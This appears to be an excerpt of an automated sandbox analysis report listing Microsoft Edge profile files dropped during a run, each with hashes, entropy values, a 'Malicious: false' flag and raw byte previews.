Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377014068037485","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10161628827345777
Encrypted:	false
SSDEEP:	6:Gu0xnMu0xnl89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/VS:+G3zspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	5BDC80FC77C2178C564F4ACF9232E7BD
SHA1:	C27489C6FAA7D735B944BF12D831535C2F8358EE
SHA-256:	114FC7CAF7B5DD2C44DF2947180F9D46D74FF445DAA88E997CFA5938C55BFF00
SHA-512:	7004B2A6EE7577C0920C3DFBBFCC5F91C58C001FDFD36D17A70B6F06209FBECD7C98482182998EC7829B2AD8C066CD8BCC03FACD3A01C42CBE559A373FD852C7
Malicious:	false
Preview:	..-.............M.........B..'^..4..}..F.._.....-.............M.........B..'^..4..}..F.._...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8871854974026213
Encrypted:	false
SSDEEP:	384:G2/f/jAPObGGtUZ60CeZ6ZBCx+b6XCePm6aCHVGVx6ECWDGwx6aCx9G81Bx6gCuH:ZA6RRUOk1XuQn4B54
MD5:	484D47704ACEA9298B421D3C653990CF
SHA1:	6EE52E75DEA5AFF11D217749B50CAFB33D3B7100
SHA-256:	EBA178502B37CF0C319E76EE771FE0A16693DD4025184CDEEB495C48B9D97FC0
SHA-512:	26E3B503B4FA292EFD8AF10B1F250D2AB5E462AE93B2092190B533A576F6F6D853AAE43936AA9B58C8D75E4CAB5254F22798D97A756854647FC7F7BF295B0A46
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5195704903931277
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuu/illPbAO84V:iDSGlPbrV
MD5:	C9E0447FF889207AF2A727A55B848F09
SHA1:	68269813AD4E2D5BDE62583EE0AF404F3A85E089
SHA-256:	0A798CDEF5BFDBE719A943AA7E893DB0A30BBE6E38D7D342CB58461A0D3074B6
SHA-512:	85755473DA89C82F68FFCC7F5E7F7C434D35E7087BF5BA271507333D4F440B280A4B97E472961BF1B8A5E8AD1D64F802DE5A839E38F1FB909F4AE01BADB0CF99
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................3.p;...............#38_h.......6.Z..W.F.....U.:.....U.:..........V.e................=.,.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1909614945915
Encrypted:	false
SSDEEP:	6:HACxq2P923oH+TcwtfrK+IFUt8YAONZmw+YAO/kwO923oH+TcwtfrUeLJ:gCv4Yeb23FUt87ON/+7O/5LYeb3J
MD5:	28A879058879B5796DF5CA38AA0F2D5C
SHA1:	BBF4606A6FF59FD3206496DFD55962F6AC8195A5
SHA-256:	FBB40D69904B72A838744359D099E739D4CDD7E6EDD2CDE82B80A5CEBBE6B830
SHA-512:	F29F09CDE1E783464A74E516F088C9AE2244F69CEA47A9CDD6865486B7F0368B2545B8B595EBD7904B7947EE89F2C1435353B6713EDDA4860D1439A4124599FF
Malicious:	false
Preview:	2024/11/25-08:14:28.068 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-08:14:28.069 1e00 Recovering log #3.2024/11/25-08:14:28.069 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1909614945915
Encrypted:	false
SSDEEP:	6:HACxq2P923oH+TcwtfrK+IFUt8YAONZmw+YAO/kwO923oH+TcwtfrUeLJ:gCv4Yeb23FUt87ON/+7O/5LYeb3J
MD5:	28A879058879B5796DF5CA38AA0F2D5C
SHA1:	BBF4606A6FF59FD3206496DFD55962F6AC8195A5
SHA-256:	FBB40D69904B72A838744359D099E739D4CDD7E6EDD2CDE82B80A5CEBBE6B830
SHA-512:	F29F09CDE1E783464A74E516F088C9AE2244F69CEA47A9CDD6865486B7F0368B2545B8B595EBD7904B7947EE89F2C1435353B6713EDDA4860D1439A4124599FF
Malicious:	false
Preview:	2024/11/25-08:14:28.068 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-08:14:28.069 1e00 Recovering log #3.2024/11/25-08:14:28.069 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.15453591666503
Encrypted:	false
SSDEEP:	6:HAyQZNIq2P923oH+TcwtfrzAdIFUt8YAy2zZZmw+YAyhFkwO923oH+TcwtfrzILJ:gySIv4Yeb9FUt87y2zZ/+7yf5LYeb2J
MD5:	5D26841F7D5318F79BBF419D2954E434
SHA1:	6084635831429C9804A4C1960C4B6787E4AF912C
SHA-256:	0CC5487E727511EC01AC8DCD3040E76E55DF5FE2BD773B802158EE34670A5DBD
SHA-512:	7FD16E49AD5105784DABB5337BA1D8D7631BA7BC1C95C107A724BEB48A65A92D2B51F96A0CE480C0EC229C2047CA2074BE1B95351DB2A5A1DC4B5BDCE6279882
Malicious:	false
Preview:	2024/11/25-08:14:28.055 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-08:14:28.057 1e00 Recovering log #3.2024/11/25-08:14:28.058 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.15453591666503
Encrypted:	false
SSDEEP:	6:HAyQZNIq2P923oH+TcwtfrzAdIFUt8YAy2zZZmw+YAyhFkwO923oH+TcwtfrzILJ:gySIv4Yeb9FUt87y2zZ/+7yf5LYeb2J
MD5:	5D26841F7D5318F79BBF419D2954E434
SHA1:	6084635831429C9804A4C1960C4B6787E4AF912C
SHA-256:	0CC5487E727511EC01AC8DCD3040E76E55DF5FE2BD773B802158EE34670A5DBD
SHA-512:	7FD16E49AD5105784DABB5337BA1D8D7631BA7BC1C95C107A724BEB48A65A92D2B51F96A0CE480C0EC229C2047CA2074BE1B95351DB2A5A1DC4B5BDCE6279882
Malicious:	false
Preview:	2024/11/25-08:14:28.055 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-08:14:28.057 1e00 Recovering log #3.2024/11/25-08:14:28.058 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3836a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38379.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3854e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ac3f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ed5f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49631.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
